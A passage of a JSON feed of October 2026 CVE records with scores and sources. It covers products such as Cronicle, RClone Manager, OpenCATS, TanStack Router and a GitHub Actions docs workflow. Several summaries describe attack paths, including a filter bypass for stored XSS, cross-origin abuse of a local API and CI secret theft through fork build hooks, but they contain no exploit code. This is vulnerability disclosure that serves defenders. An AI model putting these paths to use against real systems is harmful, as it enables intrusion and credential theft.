fixes.","publishedAt":"2026-10-13T17:17:45.130Z","updatedAt":"2026-10-16T15:39:43.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69227","asOf":"2026-10-16T15:39:43.620Z"},"epss":{"probability":0.00326,"percentile":0.25482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69227","type":"primary","publishedAt":"2026-10-13T17:17:45.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55562","cveId":"CVE-2026-55562","aliases":[],"kind":"vulnerability","title":"Cronicle is a multi-server task scheduler and runner, with a web based front-end UI.","summary":"Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.119, the administrator Activity Log in htdocs/js/pages/admin/Activity.js concatenates the attacker-controlled item.user.full_name value into HTML without applying encode_entities and inserts the result through this.div.html. The bundled pixl-server-user input filter can be bypassed by a tag containing a line break because its regular expression does not match newlines. An authenticated non-administrator can update the attacker's own name through /api/user/update using a valid session and current password; when free_accounts is enabled, an anonymous attacker can instead plant the name during self-registration. The stored name executes script in an administrator's session when the Activity Log is opened, enabling administrator takeover and subsequent command execution through privileged Cronicle features. This issue is fixed in version 0.9.119.","detail":"Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.119, the administrator Activity Log in htdocs/js/pages/admin/Activity.js concatenates the attacker-controlled item.user.full_name value into HTML without applying encode_entities and inserts the result through this.div.html. The bundled pixl-server-user input filter can be bypassed by a tag containing a line break because its regular expression does not match newlines. An authenticated non-administrator can update the attacker's own name through /api/user/update using a valid session and current password; when free_accounts is enabled, an anonymous attacker can instead plant the name during self-registration. The stored name executes script in an administrator's session when the Activity Log is opened, enabling administrator takeover and subsequent command execution through privileged Cronicle features. This issue is fixed in version 0.9.119.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:42.040Z","updatedAt":"2026-10-16T23:17:02.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55562","asOf":"2026-10-16T23:17:02.227Z"},"epss":{"probability":0.00463,"percentile":0.39864,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55562","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55562","type":"primary","publishedAt":"2026-10-13T17:17:42.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55183","cveId":"CVE-2026-55183","aliases":[],"kind":"vulnerability","title":"RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently.","summary":"RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently. Prior to 0.2.7, RClone Manager starts the local rclone rcd service on 127.0.0.1:51900 with --rc-no-auth, --rc-allow-origin *, and --rc-serve. A malicious web page opened by a user while the daemon is running can therefore send cross-origin requests to the unauthenticated local API with the user's operating-system privileges. The requests can disclose configured storage credentials and potentially access, upload, modify, or exfiltrate locally stored files accessible to the user and files available through configured remotes; the advisory's possible command-execution impact remains unconfirmed. This issue is fixed in version 0.2.7.","detail":"RClone Manager is a cross-platform GUI application designed to help users manage Rclone remotes efficiently. Prior to 0.2.7, RClone Manager starts the local rclone rcd service on 127.0.0.1:51900 with --rc-no-auth, --rc-allow-origin *, and --rc-serve. A malicious web page opened by a user while the daemon is running can therefore send cross-origin requests to the unauthenticated local API with the user's operating-system privileges. The requests can disclose configured storage credentials and potentially access, upload, modify, or exfiltrate locally stored files accessible to the user and files available through configured remotes; the advisory's possible command-execution impact remains unconfirmed. This issue is fixed in version 0.2.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:41.893Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55183","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00415,"percentile":0.35559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55183","type":"primary","publishedAt":"2026-10-13T17:17:41.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54454","cveId":"CVE-2026-54454","aliases":[],"kind":"vulnerability","title":"OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams.","summary":"OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams. Prior to 0.10.0, the OpenCATS Import module in modules/import/ImportUI.php can preserve an uploaded file's original name for one import data type and place the file in the web-accessible temporary directory. An authenticated user with Import privileges can select the affected import path and upload a PHP file that remains under an attacker-controlled executable filename, and an import error can leave the file on disk. If the temporary directory is served with PHP execution enabled, requesting the staged file can execute arbitrary PHP code with the web server process privileges, exposing or modifying recruiting data and the host system. This issue is fixed in version 0.10.0.","detail":"OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams. Prior to 0.10.0, the OpenCATS Import module in modules/import/ImportUI.php can preserve an uploaded file's original name for one import data type and place the file in the web-accessible temporary directory. An authenticated user with Import privileges can select the affected import path and upload a PHP file that remains under an attacker-controlled executable filename, and an import error can leave the file on disk. If the temporary directory is served with PHP execution enabled, requesting the staged file can execute arbitrary PHP code with the web server process privileges, exposing or modifying recruiting data and the host system. This issue is fixed in version 0.10.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:41.310Z","updatedAt":"2026-10-13T21:17:39.167Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54454","asOf":"2026-10-13T21:17:39.167Z"},"epss":{"probability":0.00405,"percentile":0.34453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54454&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54454","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54454","type":"primary","publishedAt":"2026-10-13T17:17:41.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54454&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54454, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109412","cveId":"CVE-2026-109412","aliases":[],"kind":"vulnerability","title":"An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information.","summary":"An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information.","detail":"An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:28.267Z","updatedAt":"2026-10-14T19:17:09.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ivanti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109412","asOf":"2026-10-14T19:17:09.720Z"},"epss":{"probability":0.0087,"percentile":0.58537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109412&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109412","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109412","type":"primary","publishedAt":"2026-10-13T17:17:28.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109412&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109412, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106042","cveId":"CVE-2026-106042","aliases":[],"kind":"vulnerability","title":"An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests...","summary":"An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests to an attacker-controlled endpoint and obtain EPMM connector credentials transmitted by the application.","detail":"An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests to an attacker-controlled endpoint and obtain EPMM connector credentials transmitted by the application.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:16.273Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ivanti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106042","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00789,"percentile":0.55952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106042","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106042","type":"primary","publishedAt":"2026-10-13T17:17:16.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102989","cveId":"CVE-2026-102989","aliases":[],"kind":"vulnerability","title":"TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web.","summary":"TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web. From 1.143.12 until 1.169.39 for @tanstack/start-server-core, 1.168.60 for @tanstack/react-start, 1.168.57 for @tanstack/solid-start, and 1.168.56 for @tanstack/vue-start, an unauthenticated attacker can place non-public fields in a server-function request payload so that attacker-controlled middleware state reaches the error path and a response-shaped object is accepted as an HTTP response. A crafted server-function URL can therefore return attacker-controlled HTML from the application's origin; when a visitor opens the URL, the injected script can access same-origin data and issue requests with the visitor's authority. This issue is fixed in @tanstack/start-server-core 1.169.39, @tanstack/react-start 1.168.60, @tanstack/solid-start 1.168.57, and @tanstack/vue-start 1.168.56.","detail":"TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web. From 1.143.12 until 1.169.39 for @tanstack/start-server-core, 1.168.60 for @tanstack/react-start, 1.168.57 for @tanstack/solid-start, and 1.168.56 for @tanstack/vue-start, an unauthenticated attacker can place non-public fields in a server-function request payload so that attacker-controlled middleware state reaches the error path and a response-shaped object is accepted as an HTTP response. A crafted server-function URL can therefore return attacker-controlled HTML from the application's origin; when a visitor opens the URL, the injected script can access same-origin data and issue requests with the visitor's authority. This issue is fixed in @tanstack/start-server-core 1.169.39, @tanstack/react-start 1.168.60, @tanstack/solid-start 1.168.57, and @tanstack/vue-start 1.168.56.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:14.797Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102989","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00544,"percentile":0.45383,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102989&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102989","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102989","type":"primary","publishedAt":"2026-10-13T17:17:14.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102989&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102989, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79608","cveId":"CVE-2026-79608","aliases":[],"kind":"vulnerability","title":"The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later\nre-worked to better integrate with other manipulations of the same MSR.\nIn this rework an inverted conditional was...","summary":"The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later\nre-worked to better integrate with other manipulations of the same MSR.\nIn this rework an inverted conditional was introduced, resulting in the\nworkaround to not be applied when needed and vice versa.\n\nFor more details, see:\n  http://xenbits.xen.org/xsa/advisory-433.html","detail":"The workaround for XSA-433 (Zenbleed, CVE-2023-20593) was later\nre-worked to better integrate with other manipulations of the same MSR.\nIn this rework an inverted conditional was introduced, resulting in the\nworkaround to not be applied when needed and vice versa.\n\nFor more details, see:\n  http://xenbits.xen.org/xsa/advisory-433.html\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:23.040Z","updatedAt":"2026-10-20T18:17:21.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79608","asOf":"2026-10-20T18:17:21.973Z"},"epss":{"probability":0.0035,"percentile":0.2834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79608&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79608","type":"primary","publishedAt":"2026-10-13T16:17:23.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79608&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79608, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78802","cveId":"CVE-2026-78802","aliases":[],"kind":"vulnerability","title":"An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code.","summary":"An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code.","detail":"An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:22.820Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78802","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00515,"percentile":0.43569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78802","type":"primary","publishedAt":"2026-10-13T16:17:22.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55695","cveId":"CVE-2026-55695","aliases":[],"kind":"vulnerability","title":"FearlessCMS is a flat-file content management system centered on simplicity and open source.","summary":"FearlessCMS is a flat-file content management system centered on simplicity and open source. In 0.1.2b and earlier, an authenticated administrator can set an arbitrary Git repository URL through admin/updater-handler.php and trigger perform_update, which passes the URL to update.sh. The updater clones the repository and replaces the live plugins/, admin/, and includes/ directories without verifying the repository's identity, signatures, or contents. Because router.php permits existing PHP files under plugins to be executed by the PHP development server, attacker-supplied update content can execute arbitrary PHP with the web server process's privileges and persist as a backdoor. This issue is fixed in version 0.1.3b.","detail":"FearlessCMS is a flat-file content management system centered on simplicity and open source. In 0.1.2b and earlier, an authenticated administrator can set an arbitrary Git repository URL through admin/updater-handler.php and trigger perform_update, which passes the URL to update.sh. The updater clones the repository and replaces the live plugins/, admin/, and includes/ directories without verifying the repository's identity, signatures, or contents. Because router.php permits existing PHP files under plugins to be executed by the PHP development server, attacker-supplied update content can execute arbitrary PHP with the web server process's privileges and persist as a backdoor. This issue is fixed in version 0.1.3b.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:22.057Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55695","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00465,"percentile":0.40021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55695","type":"primary","publishedAt":"2026-10-13T16:17:22.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55675","cveId":"CVE-2026-55675","aliases":[],"kind":"vulnerability","title":"The Salty documentation repository builds and deploys the docs.saltbox.dev website.","summary":"The Salty documentation repository builds and deploys the docs.saltbox.dev website. Prior to commit 649c9aea2daef1168eeb0415b44e65dbbde9f220, .github/workflows/trigger-pr-build.yml records an untrusted fork commit in the pr_info artifact, and the secret-bearing workflow_run job in .github/workflows/build-pr.yml checks out that commit before running pip install -r requirements.txt. A fork pull request can therefore supply attacker-authored setup.py or PEP 517 build hooks whose installation code executes in the privileged base-repository workflow with CF_API_TOKEN, GH_TOKEN, MKDOCS_GIT_COMMITTERS_APIKEY, and a write-capable GITHUB_TOKEN, allowing secret disclosure and follow-on compromise. The vulnerability is not caused by the repository-fork guard, and the demonstrated path requires attacker control of fork content rather than merely the artifact metadata. This vulnerability is fixed with commit 649c9aea2daef1168eeb0415b44e65dbbde9f220.","detail":"The Salty documentation repository builds and deploys the docs.saltbox.dev website. Prior to commit 649c9aea2daef1168eeb0415b44e65dbbde9f220, .github/workflows/trigger-pr-build.yml records an untrusted fork commit in the pr_info artifact, and the secret-bearing workflow_run job in .github/workflows/build-pr.yml checks out that commit before running pip install -r requirements.txt. A fork pull request can therefore supply attacker-authored setup.py or PEP 517 build hooks whose installation code executes in the privileged base-repository workflow with CF_API_TOKEN, GH_TOKEN, MKDOCS_GIT_COMMITTERS_APIKEY, and a write-capable GITHUB_TOKEN, allowing secret disclosure and follow-on compromise. The vulnerability is not caused by the repository-fork guard, and the demonstrated path requires attacker control of fork content rather than merely the artifact metadata. This vulnerability is fixed with commit 649c9aea2daef1168eeb0415b44e65dbbde9f220.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 